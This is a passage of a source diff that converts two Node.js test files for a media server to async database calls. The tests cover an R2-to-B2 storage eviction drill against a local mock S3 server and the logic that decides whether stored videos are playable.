if (refusePutTo === bucket) { res.writeHead(500, { 'Content-Type': 'application/xml' }); return res.end('<Error><Code>InternalError</Code></Error>'); }++ let body = Buffer.concat(chunks);++ if (req.headers['x-amz-decoded-content-length'] || /aws-chunked/.test(req.headers['content-encoding'] || '')) body = decodeAwsChunked(body);++ store.set(key, body);++ res.writeHead(200, { ETag: '"e"' });++ return res.end();++ }++ if (req.method === 'DELETE') { store.delete(key); res.writeHead(204); return res.end(); }++ res.writeHead(405); res.end();++ });});--});--(async () => {-- await new Promise((r) => s3.listen(0, '127.0.0.1', r));-- const endpoint = `http://127.0.0.1:${s3.address().port}`;-- Object.assign(process.env, {-- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),-- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),-- MEDIA_B2_ENDPOINT: endpoint, MEDIA_B2_BUCKET: 'b2-bucket', MEDIA_B2_KEY_ID: 'k', MEDIA_B2_APP_KEY: 's', MEDIA_B2_REGION: 'us-west-004',-- MEDIA_R2_ENDPOINT: endpoint, MEDIA_R2_BUCKET: 'r2-bucket', MEDIA_R2_ACCESS_KEY_ID: 'k', MEDIA_R2_SECRET_ACCESS_KEY: 's',-- AWS_REQUEST_CHECKSUM_CALCULATION: 'WHEN_REQUIRED', AWS_RESPONSE_CHECKSUM_VALIDATION: 'WHEN_REQUIRED',-- });-- const db = require('../server/db/database');-- const model = require('../server/objects/model');-- const storage = require('../server/vod/vod-storage');-- const { runDrill, providerOfUrl } = require('../scripts/r2-eviction-drill');-- const conn = db.getDb();-- require('../server/views/service').ensureSchema();++ (async () => {++ await new Promise((r) => s3.listen(0, '127.0.0.1', r));++ const endpoint = `http://127.0.0.1:${s3.address().port}`;++ Object.assign(process.env, {++ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),++ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),++ MEDIA_B2_ENDPOINT: endpoint, MEDIA_B2_BUCKET: 'b2-bucket', MEDIA_B2_KEY_ID: 'k', MEDIA_B2_APP_KEY: 's', MEDIA_B2_REGION: 'us-west-004',++ MEDIA_R2_ENDPOINT: endpoint, MEDIA_R2_BUCKET: 'r2-bucket', MEDIA_R2_ACCESS_KEY_ID: 'k', MEDIA_R2_SECRET_ACCESS_KEY: 's',++ AWS_REQUEST_CHECKSUM_CALCULATION: 'WHEN_REQUIRED', AWS_RESPONSE_CHECKSUM_VALIDATION: 'WHEN_REQUIRED',++ });++ const db = require('../server/db/database');++ const model = require('../server/objects/model');++ const storage = require('../server/vod/vod-storage');++ // The revisioned tier policies load once the database is open (server/index.js does this at boot).++ await storage.tierConfig.init(storage.DEFAULTS);++ await require('../server/objects/tier-policy').init();++ const { runDrill, providerOfUrl } = require('../scripts/r2-eviction-drill');++ const conn = db.getDb();-- // Media serving /v/:id, as production does.-- const express = require('express');-- const app = express();-- app.use('/', require('../server/public/routes'));-- const media = http.createServer(app);-- await new Promise((r) => media.listen(0, '127.0.0.1', r));-- const baseUrl = `http://127.0.0.1:${media.address().port}`;++ // Media serving /v/:id, as production does.++ const express = require('express');++ const app = express();++ app.use('/', require('../server/public/routes'));++ const media = http.createServer(app);++ await new Promise((r) => media.listen(0, '127.0.0.1', r));++ const baseUrl = `http://127.0.0.1:${media.address().port}`;-- const bytes = crypto.randomBytes(3 * 1024 * 1024 + 123);-- const addVod = (id, { provider = 'r2', visibility = 'public', size = bytes.length } = {}) => {-- const key = `vods/drill-${id}.webm`;-- conn.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, file_size, is_public, visibility, duration_seconds, storage_provider, storage_key)-- VALUES (?, 'live', 5, 'Drill', ?, ?, ?, ?, 60, ?, ?)`).run(id, `/gone/drill-${id}.webm`, size, visibility === 'private' ? 0 : 1, visibility, provider, key);-- buckets['b2-bucket'].set(key, bytes);-- if (provider === 'r2') buckets['r2-bucket'].set(key, bytes);-- model.sync('vod', id);-- return key;-- };-- const deps = { storage, db, model };-- const opts = (o) => ({ http: true, baseUrl, maxMb: 512, ...o });-- assert.strictEqual(providerOfUrl(`${endpoint}/r2-bucket/vods/x.webm?X-Amz-Signature=1`, storage), 'r2');-- assert.strictEqual(providerOfUrl('https://b2-bucket.s3.example/vods/x.webm', { bucketFor: (p) => `${p}-bucket`, endpointFor: () => 'https://s3.example' }), 'b2');++ const bytes = crypto.randomBytes(3 * 1024 * 1024 + 123);++ const addVod = async (id, { provider = 'r2', visibility = 'public', size = bytes.length } = {}) => {++ const key = `vods/drill-${id}.webm`;++ await conn.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, file_size, is_public, visibility, duration_seconds, storage_provider, storage_key) OVERRIDING SYSTEM VALUE++ VALUES (?, 'live', 5, 'Drill', ?, ?, ?, ?, 60, ?, ?) RETURNING id`).run(id, `/gone/drill-${id}.webm`, size, visibility === 'private' ? 0 : 1, visibility, provider, key);++ buckets['b2-bucket'].set(key, bytes);++ if (provider === 'r2') buckets['r2-bucket'].set(key, bytes);++ await model.sync('vod', id);++ return key;++ };++ const deps = { storage, db, model };++ const opts = (o) => ({ http: true, baseUrl, maxMb: 512, ...o });++ assert.strictEqual(providerOfUrl(`${endpoint}/r2-bucket/vods/x.webm?X-Amz-Signature=1`, storage), 'r2');++ assert.strictEqual(providerOfUrl('https://b2-bucket.s3.example/vods/x.webm', { bucketFor: (p) => `${p}-bucket`, endpointFor: () => 'https://s3.example' }), 'b2');-- // ── Dry run: checks only ──-- const key1 = addVod(1);-- let art = await runDrill(opts({ vodId: 1 }), deps);-- assert.strictEqual(art.verdict, 'dry-run', art.reason);-- assert.deepStrictEqual(art.steps.map((s) => s.name), ['plan']);-- assert.ok(buckets['r2-bucket'].has(key1) && db.get('SELECT storage_provider FROM vods WHERE id = 1').storage_provider === 'r2', 'nothing moved');-- assert.ok(!s3log.some(([m]) => m === 'PUT' || m === 'DELETE'), 'no writes to either bucket');-- assert.strictEqual(art.checks.first_mib.b2, art.checks.first_mib.r2);-- console.log('✅ dry run: preconditions and copy checks only, nothing changes');++ // ── Dry run: checks only ──++ const key1 = await addVod(1);++ let art = await runDrill(opts({ vodId: 1 }), deps);++ assert.strictEqual(art.verdict, 'dry-run', art.reason);++ assert.deepStrictEqual(art.steps.map((s) => s.name), ['plan']);++ assert.ok(buckets['r2-bucket'].has(key1) && (await db.get('SELECT storage_provider FROM vods WHERE id = 1')).storage_provider === 'r2', 'nothing moved');++ assert.ok(!s3log.some(([m]) => m === 'PUT' || m === 'DELETE'), 'no writes to either bucket');++ assert.strictEqual(art.checks.first_mib.b2, art.checks.first_mib.r2);++ console.log('✅ dry run: preconditions and copy checks only, nothing changes');-- // ── Refusals ──-- const key2 = addVod(2);-- buckets['b2-bucket'].set(key2, bytes.subarray(0, 100));-- assert.match((await runDrill(opts({ vodId: 2, execute: true }), deps)).reason, /differ in size/);-- buckets['b2-bucket'].set(key2, Buffer.concat([Buffer.from('X'), bytes.subarray(1)]));-- assert.match((await runDrill(opts({ vodId: 2, execute: true }), deps)).reason, /first MiB/);-- buckets['b2-bucket'].delete(key2);-- assert.match((await runDrill(opts({ vodId: 2, execute: true }), deps)).reason, /B2 canonical copy is missing/);-- assert.ok(buckets['r2-bucket'].has(key2), 'a refused drill deletes nothing');-- addVod(3, { provider: 'b2' });-- assert.match((await runDrill(opts({ vodId: 3, execute: true }), deps)).reason, /not R2/);-- addVod(4);-- const hold = model.placeHold({ object_id: db.get('SELECT object_id FROM vods WHERE id = 4').object_id, kind: 'evidence', reason: 'drill test' });-- assert.match((await runDrill(opts({ vodId: 4, execute: true }), deps)).reason, /retention hold/);-- model.releaseHold(hold.id, 'test');-- addVod(5, { visibility: 'private' });-- assert.match((await runDrill(opts({ vodId: 5, execute: true }), deps)).reason, /private/);-- assert.strictEqual((await runDrill(opts({ pick: true }), deps)).vod_id, 1, '--pick takes the smallest public R2 VOD that is not held');-- console.log('✅ refused: canonical copy wrong size / different bytes / missing, not on R2, held, private over HTTP');++ // ── Refusals ──++ const key2 = await addVod(2);++ buckets['b2-bucket'].set(key2, bytes.subarray(0, 100));++ assert.match((await runDrill(opts({ vodId: 2, execute: true }), deps)).reason, /differ in size/);++ buckets['b2-bucket'].set(key2, Buffer.concat([Buffer.from('X'), bytes.subarray(1)]));++ assert.match((await runDrill(opts({ vodId: 2, execute: true }), deps)).reason, /first MiB/);++ buckets['b2-bucket'].delete(key2);++ assert.match((await runDrill(opts({ vodId: 2, execute: true }), deps)).reason, /B2 canonical copy is missing/);++ assert.ok(buckets['r2-bucket'].has(key2), 'a refused drill deletes nothing');++ await addVod(3, { provider: 'b2' });++ assert.match((await runDrill(opts({ vodId: 3, execute: true }), deps)).reason, /not R2/);++ await addVod(4);++ const hold = await model.placeHold({ object_id: (await db.get('SELECT object_id FROM vods WHERE id = 4')).object_id, kind: 'evidence', reason: 'drill test' });++ assert.match((await runDrill(opts({ vodId: 4, execute: true }), deps)).reason, /retention hold/);++ await model.releaseHold(hold.id, 'test');++ await addVod(5, { visibility: 'private' });++ assert.match((await runDrill(opts({ vodId: 5, execute: true }), deps)).reason, /private/);++ assert.strictEqual((await runDrill(opts({ pick: true }), deps)).vod_id, 1, '--pick takes the smallest public R2 VOD that is not held');++ console.log('✅ refused: canonical copy wrong size / different bytes / missing, not on R2, held, private over HTTP');-- // ── Execute: evict, served from B2, re-warm, served from R2 ──-- s3log.length = 0;-- art = await runDrill(opts({ vodId: 1, execute: true }), deps);-- assert.strictEqual(art.verdict, 'pass', `${art.reason} ${JSON.stringify(art.steps, null, 1)}`);-- assert.deepStrictEqual(art.steps.map((s) => [s.name.split(':')[0], s.ok]), [['before', true], ['evict', true], ['from B2', true], ['re-warm', true], ['after', true]]);-- assert.deepStrictEqual([art.steps[0].provider, art.steps[2].provider, art.steps[4].provider], ['r2', 'b2', 'r2'], 'GET /v/1 went R2 -> B2 -> R2');-- assert.deepStrictEqual([art.steps[0].status, art.steps[2].range_status], [302, 206]);-- const sha = crypto.createHash('sha256').update(bytes.subarray(0, 1024 * 1024)).digest('hex');-- assert.ok(art.steps.filter((s) => s.first_mib_sha256).every((s) => s.first_mib_sha256 === sha), 'the same bytes every time');-- assert.ok(s3log.some(([m, b]) => m === 'DELETE' && b === 'r2-bucket') && s3log.some(([m, b]) => m === 'PUT' && b === 'r2-bucket'), 'the R2 copy was really deleted and written back');-- assert.ok(!s3log.some(([m, b]) => (m === 'DELETE' || m === 'PUT') && b === 'b2-bucket'), 'B2 was never written');-- assert.deepStrictEqual(buckets['r2-bucket'].get(key1), bytes, 'R2 holds the same bytes again');-- assert.strictEqual(db.get('SELECT storage_provider FROM vods WHERE id = 1').storage_provider, 'r2');-- assert.deepStrictEqual(art.locations.after_evict.map((l) => l.provider).sort(), ['b2']);-- assert.deepStrictEqual(art.locations.after.map((l) => [l.provider, l.state]).sort(), [['b2', 'present'], ['r2', 'present']]);-- console.log('✅ execute: R2 copy evicted, /v served from B2 with the same bytes, R2 re-warmed and serving again');++ // ── Execute: evict, served from B2, re-warm, served from R2 ──++ s3log.length = 0;++ art = await runDrill(opts({ vodId: 1, execute: true }), deps);++ assert.strictEqual(art.verdict, 'pass', `${art.reason} ${JSON.stringify(art.steps, null, 1)}`);++ assert.deepStrictEqual(art.steps.map((s) => [s.name.split(':')[0], s.ok]), [['before', true], ['evict', true], ['from B2', true], ['re-warm', true], ['after', true]]);++ assert.deepStrictEqual([art.steps[0].provider, art.steps[2].provider, art.steps[4].provider], ['r2', 'b2', 'r2'], 'GET /v/1 went R2 -> B2 -> R2');++ assert.deepStrictEqual([art.steps[0].status, art.steps[2].range_status], [302, 206]);++ const sha = crypto.createHash('sha256').update(bytes.subarray(0, 1024 * 1024)).digest('hex');++ assert.ok(art.steps.filter((s) => s.first_mib_sha256).every((s) => s.first_mib_sha256 === sha), 'the same bytes every time');++ assert.ok(s3log.some(([m, b]) => m === 'DELETE' && b === 'r2-bucket') && s3log.some(([m, b]) => m === 'PUT' && b === 'r2-bucket'), 'the R2 copy was really deleted and written back');++ assert.ok(!s3log.some(([m, b]) => (m === 'DELETE' || m === 'PUT') && b === 'b2-bucket'), 'B2 was never written');++ assert.deepStrictEqual(buckets['r2-bucket'].get(key1), bytes, 'R2 holds the same bytes again');++ assert.strictEqual((await db.get('SELECT storage_provider FROM vods WHERE id = 1')).storage_provider, 'r2');++ assert.deepStrictEqual(art.locations.after_evict.map((l) => l.provider).sort(), ['b2']);++ assert.deepStrictEqual(art.locations.after.map((l) => [l.provider, l.state]).sort(), [['b2', 'present'], ['r2', 'present']]);++ console.log('✅ execute: R2 copy evicted, /v served from B2 with the same bytes, R2 re-warmed and serving again');-- // ── A failed re-warm leaves the VOD served from B2 ──-- addVod(6);-- refusePutTo = 'r2-bucket';-- art = await runDrill(opts({ vodId: 6, execute: true, http: false }), deps);-- refusePutTo = null;-- assert.strictEqual(art.verdict, 'fail');-- assert.deepStrictEqual(art.steps.map((s) => s.ok), [true, true, true, false]);-- assert.strictEqual(art.steps[0].via, 'resolvePlayback', '--no-http decides in-process');-- assert.strictEqual(db.get('SELECT storage_provider FROM vods WHERE id = 6').storage_provider, 'b2');-- assert.strictEqual((await storage.resolvePlayback(db.get('SELECT * FROM vods WHERE id = 6'))).provider, 'b2', 'still served, from B2');-- console.log('✅ a failed re-warm stops the drill with the VOD served from B2');++ // ── A failed re-warm leaves the VOD served from B2 ──++ await addVod(6);++ refusePutTo = 'r2-bucket';++ art = await runDrill(opts({ vodId: 6, execute: true, http: false }), deps);++ refusePutTo = null;++ assert.strictEqual(art.verdict, 'fail');++ assert.deepStrictEqual(art.steps.map((s) => s.ok), [true, true, true, false]);++ assert.strictEqual(art.steps[0].via, 'resolvePlayback', '--no-http decides in-process');++ assert.strictEqual((await db.get('SELECT storage_provider FROM vods WHERE id = 6')).storage_provider, 'b2');++ assert.strictEqual((await storage.resolvePlayback(await db.get('SELECT * FROM vods WHERE id = 6'))).provider, 'b2', 'still served, from B2');++ console.log('✅ a failed re-warm stops the drill with the VOD served from B2');-- // ── The CLI writes the artifact ──-- const out = path.join(tmp, 'artifact.json');-- const cli = await runCli(['--vod', '1', '--no-http', '--out', out]);-- assert.strictEqual(cli.status, 0, cli.stderr + cli.stdout);-- const saved = JSON.parse(fs.readFileSync(out, 'utf8'));-- assert.deepStrictEqual([saved.drill, saved.mode, saved.verdict, saved.vod_id], ['r2-eviction', 'dry-run', 'dry-run', 1]);-- const refused = await runCli(['--vod', '3', '--out', path.join(tmp, 'r.json')]);-- assert.strictEqual(refused.status, 2, 'refused -> exit 2');-- console.log('✅ CLI: dry run by default, JSON artifact written, exit codes');++ // ── The CLI writes the artifact ──++ const out = path.join(tmp, 'artifact.json');++ const cli = await runCli(['--vod', '1', '--no-http', '--out', out]);++ assert.strictEqual(cli.status, 0, cli.stderr + cli.stdout);++ const saved = JSON.parse(fs.readFileSync(out, 'utf8'));++ assert.deepStrictEqual([saved.drill, saved.mode, saved.verdict, saved.vod_id], ['r2-eviction', 'dry-run', 'dry-run', 1]);++ const refused = await runCli(['--vod', '3', '--out', path.join(tmp, 'r.json')]);++ assert.strictEqual(refused.status, 2, 'refused -> exit 2');++ console.log('✅ CLI: dry run by default, JSON artifact written, exit codes');-- media.close();-- s3.close();-- console.log('\nr2 eviction drill: all checks passed');-- process.exit(0);++ media.close();++ s3.close();++ console.log('\nr2 eviction drill: all checks passed');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -12,163 +12,165 @@ const os = require('os');const path = require('path');const http = require('http');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-readiness-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--Object.assign(process.env, {-- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),-- OBJECTS_PATH: dir('objects'), THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'),-- MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: 'https://openvibe.network',--});--for (const k of Object.keys(process.env)) if (/^MEDIA_(B2|R2)_/.test(k)) delete process.env[k];++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-readiness-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ Object.assign(process.env, {++ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),++ OBJECTS_PATH: dir('objects'), THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'),++ MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: 'https://openvibe.network',++ });++ for (const k of Object.keys(process.env)) if (/^MEDIA_(B2|R2)_/.test(k)) delete process.env[k];--const db = require('../server/db/database');--require('../server/views/service').ensureSchema();--const model = require('../server/objects/model');--const readiness = require('../server/objects/readiness');--const verifyJob = require('../server/objects/verify-job');--const express = require('express');++ const db = require('../server/db/database');++ const model = require('../server/objects/model');++ const readiness = require('../server/objects/readiness');++ const verifyJob = require('../server/objects/verify-job');++ const express = require('express');--db.upsertApp({ app_id: 'live', api_key: 'live-key' });--db.upsertApp({ app_id: 'games', api_key: 'games-key' });--const raw = db.getDb();--const vodFile = (n, bytes = 64) => { const p = path.join(process.env.VOD_PATH, n); fs.writeFileSync(p, Buffer.alloc(bytes, 1)); return p; };--const clipFile = (n) => { const p = path.join(process.env.CLIPS_PATH, n); fs.writeFileSync(p, Buffer.alloc(32, 2)); return p; };--const insVod = raw.prepare(`INSERT INTO vods (id, app_id, title, file_path, file_size, is_public, visibility, duration_seconds, is_recording, storage_provider, health_status)-- VALUES (?, ?, ?, ?, ?, 1, 'public', ?, ?, ?, ?)`);--const insClip = raw.prepare(`INSERT INTO clips (id, app_id, vod_id, title, file_path, is_public, visibility, status, duration_seconds)-- VALUES (?, 'games', 1, ?, ?, 1, 'public', ?, 5)`);++ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });++ await db.upsertApp({ app_id: 'games', api_key: 'games-key' });++ const raw = db.getDb();++ const vodFile = (n, bytes = 64) => { const p = path.join(process.env.VOD_PATH, n); fs.writeFileSync(p, Buffer.alloc(bytes, 1)); return p; };++ const clipFile = (n) => { const p = path.join(process.env.CLIPS_PATH, n); fs.writeFileSync(p, Buffer.alloc(32, 2)); return p; };++ const insVod = raw.prepare(`INSERT INTO vods (id, app_id, title, file_path, file_size, is_public, visibility, duration_seconds, is_recording, storage_provider, health_status) OVERRIDING SYSTEM VALUE++ VALUES (?, ?, ?, ?, ?, 1, 'public', ?, ?, ?, ?) RETURNING id`);++ const insClip = raw.prepare(`INSERT INTO clips (id, app_id, vod_id, title, file_path, is_public, visibility, status, duration_seconds) OVERRIDING SYSTEM VALUE++ VALUES (?, 'games', 1, ?, ?, 1, 'public', ?, 5) RETURNING id`);--insVod.run(1, 'games', 'Local and finished', vodFile('vod-games-1.webm'), 64, 60, 0, 'local', 'ok');--insVod.run(2, 'games', 'Offloaded, never checked', '/old/vod-games-2.webm', 64, 60, 0, 'b2', 'ok');--insVod.run(3, 'games', 'Still recording', vodFile('vod-games-3.webm'), 0, 0, 1, 'local', 'unknown');--insVod.run(4, 'games', 'Broken', vodFile('vod-games-4.webm'), 64, 60, 0, 'local', 'corrupt');--insVod.run(5, 'games', 'File gone', '/nowhere/vod-games-5.webm', 64, 60, 0, 'local', 'ok');--insClip.run(11, 'Cut', clipFile('clip-11.webm'), 'ready');--insClip.run(12, 'Being cut', '', 'processing');--insClip.run(13, 'Cut failed', '', 'failed');--for (const id of [1, 2, 3, 4, 5]) model.sync('vod', id);--for (const id of [11, 12, 13]) model.sync('clip', id);--const vod = (id) => db.get('SELECT * FROM vods WHERE id = ?', [id]);--const clip = (id) => db.get('SELECT * FROM clips WHERE id = ?', [id]);--const r = (row) => readiness.forRow(row);++ await insVod.run(1, 'games', 'Local and finished', vodFile('vod-games-1.webm'), 64, 60, 0, 'local', 'ok');++ await insVod.run(2, 'games', 'Offloaded, never checked', '/old/vod-games-2.webm', 64, 60, 0, 'b2', 'ok');++ await insVod.run(3, 'games', 'Still recording', vodFile('vod-games-3.webm'), 0, 0, 1, 'local', 'unknown');++ await insVod.run(4, 'games', 'Broken', vodFile('vod-games-4.webm'), 64, 60, 0, 'local', 'corrupt');++ await insVod.run(5, 'games', 'File gone', '/nowhere/vod-games-5.webm', 64, 60, 0, 'local', 'ok');++ await insClip.run(11, 'Cut', clipFile('clip-11.webm'), 'ready');++ await insClip.run(12, 'Being cut', '', 'processing');++ await insClip.run(13, 'Cut failed', '', 'failed');++ for (const id of [1, 2, 3, 4, 5]) await model.sync('vod', id);++ for (const id of [11, 12, 13]) await model.sync('clip', id);++ const vod = async (id) => await db.get('SELECT * FROM vods WHERE id = ?', [id]);++ const clip = async (id) => await db.get('SELECT * FROM clips WHERE id = ?', [id]);++ const r = async (row) => await readiness.forRow(row);--// ── compute(): from the object and its copies ──--assert.deepStrictEqual(readiness.forRow({ id: 99 }), { metadata: false, bytes_verified: false, playable: false, hash_verified: false, verified_copies: [], reason: 'no_object' });--assert.deepStrictEqual(r(vod(1)), { metadata: true, bytes_verified: true, playable: true, hash_verified: false, verified_copies: ['local'], reason: null },-- 'a finished VOD whose local file was checked is playable');--assert.deepStrictEqual([r(vod(2)).bytes_verified, r(vod(2)).playable, r(vod(2)).reason], [false, false, 'verification_pending'],-- 'a B2 copy nobody has checked yet is not verified bytes');--assert.deepStrictEqual([r(vod(3)).playable, r(vod(3)).reason], [false, 'recording'], 'a recording in progress is not complete');--assert.strictEqual(r(vod(3)).bytes_verified, true, 'its bytes on disk are verified all the same');--assert.deepStrictEqual([r(vod(4)).playable, r(vod(4)).reason], [false, 'failed']);--assert.deepStrictEqual([r(vod(5)).bytes_verified, r(vod(5)).reason], [false, 'no_verified_copy'], 'a missing local file is no copy at all');--assert.deepStrictEqual([r(clip(11)).playable, r(clip(12)).reason, r(clip(13)).reason], [true, 'processing', 'failed']);--console.log('✅ readiness: playable only for a finished vod/clip with a verified copy; the reason otherwise');++ // ── compute(): from the object and its copies ──++ assert.deepStrictEqual(await readiness.forRow({ id: 99 }), { metadata: false, bytes_verified: false, playable: false, hash_verified: false, verified_copies: [], reason: 'no_object' });++ assert.deepStrictEqual(await r(await vod(1)), { metadata: true, bytes_verified: true, playable: true, hash_verified: false, verified_copies: ['local'], reason: null },++ 'a finished VOD whose local file was checked is playable');++ assert.deepStrictEqual([(await r(await vod(2))).bytes_verified, (await r(await vod(2))).playable, (await r(await vod(2))).reason], [false, false, 'verification_pending'],++ 'a B2 copy nobody has checked yet is not verified bytes');++ assert.deepStrictEqual([(await r(await vod(3))).playable, (await r(await vod(3))).reason], [false, 'recording'], 'a recording in progress is not complete');++ assert.strictEqual((await r(await vod(3))).bytes_verified, true, 'its bytes on disk are verified all the same');++ assert.deepStrictEqual([(await r(await vod(4))).playable, (await r(await vod(4))).reason], [false, 'failed']);++ assert.deepStrictEqual([(await r(await vod(5))).bytes_verified, (await r(await vod(5))).reason], [false, 'no_verified_copy'], 'a missing local file is no copy at all');++ assert.deepStrictEqual([(await r(await clip(11))).playable, (await r(await clip(12))).reason, (await r(await clip(13))).reason], [true, 'processing', 'failed']);++ console.log('✅ readiness: playable only for a finished vod/clip with a verified copy; the reason otherwise');--// Hashes: a checksum that contradicts content_hash is not a verified copy; a matching one is hash-verified.--const o1 = vod(1).object_id;--const loc1 = db.get("SELECT * FROM media_locations WHERE object_id = ? AND provider = 'local'", [o1]);--raw.prepare('UPDATE media_objects SET content_hash = ? WHERE id = ?').run('a'.repeat(64), o1);--raw.prepare('UPDATE media_locations SET checksum = ? WHERE id = ?').run('b'.repeat(64), loc1.id);--assert.deepStrictEqual([r(vod(1)).bytes_verified, r(vod(1)).playable, r(vod(1)).reason], [false, false, 'no_verified_copy'], 'a copy whose sha256 disagrees is not verified');--raw.prepare('UPDATE media_locations SET checksum = ? WHERE id = ?').run('a'.repeat(64), loc1.id);--assert.deepStrictEqual([r(vod(1)).playable, r(vod(1)).hash_verified], [true, true]);--raw.prepare("UPDATE media_locations SET state = 'corrupt' WHERE id = ?").run(loc1.id);--assert.strictEqual(r(vod(1)).playable, false, 'a copy the verification found corrupt is not verified');--// Back to the truth: the file's real sha256 on the object and its copy (what the object.hash job records).--const realHash = require('crypto').createHash('sha256').update(fs.readFileSync(loc1.key)).digest('hex');--raw.prepare("UPDATE media_objects SET content_hash = ? WHERE id = ?").run(realHash, o1);--raw.prepare("UPDATE media_locations SET state = 'present', checksum = ? WHERE id = ?").run(realHash, loc1.id);++ // Hashes: a checksum that contradicts content_hash is not a verified copy; a matching one is hash-verified.++ const o1 = (await vod(1)).object_id;++ const loc1 = await db.get("SELECT * FROM media_locations WHERE object_id = ? AND provider = 'local'", [o1]);++ await raw.prepare('UPDATE media_objects SET content_hash = ? WHERE id = ?').run('a'.repeat(64), o1);++ await raw.prepare('UPDATE media_locations SET checksum = ? WHERE id = ?').run('b'.repeat(64), loc1.id);++ assert.deepStrictEqual([(await r(await vod(1))).bytes_verified, (await r(await vod(1))).playable, (await r(await vod(1))).reason], [false, false, 'no_verified_copy'], 'a copy whose sha256 disagrees is not verified');++ await raw.prepare('UPDATE media_locations SET checksum = ? WHERE id = ?').run('a'.repeat(64), loc1.id);++ assert.deepStrictEqual([(await r(await vod(1))).playable, (await r(await vod(1))).hash_verified], [true, true]);++ await raw.prepare("UPDATE media_locations SET state = 'corrupt' WHERE id = ?").run(loc1.id);++ assert.strictEqual((await r(await vod(1))).playable, false, 'a copy the verification found corrupt is not verified');++ // Back to the truth: the file's real sha256 on the object and its copy (what the object.hash job records).++ const realHash = require('crypto').createHash('sha256').update(fs.readFileSync(loc1.key)).digest('hex');++ await raw.prepare("UPDATE media_objects SET content_hash = ? WHERE id = ?").run(realHash, o1);++ await raw.prepare("UPDATE media_locations SET state = 'present', checksum = ? WHERE id = ?").run(realHash, loc1.id);--// Deleted, and kinds that do not play.--const fileId = model.createObject({ app_id: 'games', kind: 'file', lifecycle_status: 'ready', visibility: 'public', size_bytes: 3 });--const fp = model.objectFilePath(model.getObject(fileId));--fs.mkdirSync(path.dirname(fp), { recursive: true }); fs.writeFileSync(fp, 'abc');--model.upsertLocation(fileId, { provider: 'local', key: fp, state: 'present', size_bytes: 3, verified: true });--assert.deepStrictEqual([readiness.compute(model.getObject(fileId)).bytes_verified, readiness.compute(model.getObject(fileId)).reason], [true, 'not_playback_kind']);--const gone = model.createObject({ app_id: 'games', kind: 'vod', lifecycle_status: 'deleted', visibility: 'public', size_bytes: 3 });--assert.strictEqual(readiness.compute(model.getObject(gone)).reason, 'deleted');++ // Deleted, and kinds that do not play.++ const fileId = await model.createObject({ app_id: 'games', kind: 'file', lifecycle_status: 'ready', visibility: 'public', size_bytes: 3 });++ const fp = model.objectFilePath(await model.getObject(fileId));++ fs.mkdirSync(path.dirname(fp), { recursive: true }); fs.writeFileSync(fp, 'abc');++ await model.upsertLocation(fileId, { provider: 'local', key: fp, state: 'present', size_bytes: 3, verified: true });++ assert.deepStrictEqual([(await readiness.compute(await model.getObject(fileId))).bytes_verified, (await readiness.compute(await model.getObject(fileId))).reason], [true, 'not_playback_kind']);++ const gone = await model.createObject({ app_id: 'games', kind: 'vod', lifecycle_status: 'deleted', visibility: 'public', size_bytes: 3 });++ assert.strictEqual((await readiness.compute(await model.getObject(gone))).reason, 'deleted');--// The SQL form (sitemap) agrees with compute() on every object.--for (const o of db.all('SELECT * FROM media_objects')) {-- const sql = !!db.get(`SELECT ${readiness.playableSql('?')} AS p`, [o.id]).p;-- assert.strictEqual(sql, readiness.compute(o).playable, `playableSql agrees for ${o.legacy_ref || o.id}`);--}--console.log('✅ readiness: hash contradictions, corrupt copies, deletion and non-playback kinds; playableSql() agrees');++ // The SQL form (sitemap) agrees with compute() on every object.++ for (const o of await db.all('SELECT * FROM media_objects')) {++ const sql = !!(await db.get(`SELECT ${readiness.playableSql('?')} AS p`, [o.id])).p;++ assert.strictEqual(sql, (await readiness.compute(o)).playable, `playableSql agrees for ${o.legacy_ref || o.id}`);++ }++ console.log('✅ readiness: hash contradictions, corrupt copies, deletion and non-playback kinds; playableSql() agrees');--(async () => {-- // ── The scheduled verification is what makes an offloaded VOD playable ──-- const o2 = vod(2).object_id;-- await verifyJob.runOnce({ batch: 50, head: async (provider) => (provider === 'b2' ? { size: 64 } : null), upload: async () => undefined });-- assert.deepStrictEqual([r(vod(2)).bytes_verified, r(vod(2)).playable, r(vod(2)).verified_copies], [true, true, ['b2']],-- 'a HEAD with the right size verifies the B2 copy');-- raw.prepare("UPDATE media_locations SET state = 'pending', verified_at = NULL WHERE object_id = ?").run(o2);-- console.log('✅ readiness: an offloaded VOD becomes playable once its copy is verified');++ (async () => {++ // ── The scheduled verification is what makes an offloaded VOD playable ──++ const o2 = (await vod(2)).object_id;++ await verifyJob.runOnce({ batch: 50, head: async (provider) => (provider === 'b2' ? { size: 64 } : null), upload: async () => undefined });++ assert.deepStrictEqual([(await r(await vod(2))).bytes_verified, (await r(await vod(2))).playable, (await r(await vod(2))).verified_copies], [true, true, ['b2']],++ 'a HEAD with the right size verifies the B2 copy');++ await raw.prepare("UPDATE media_locations SET state = 'pending', verified_at = NULL WHERE object_id = ?").run(o2);++ console.log('✅ readiness: an offloaded VOD becomes playable once 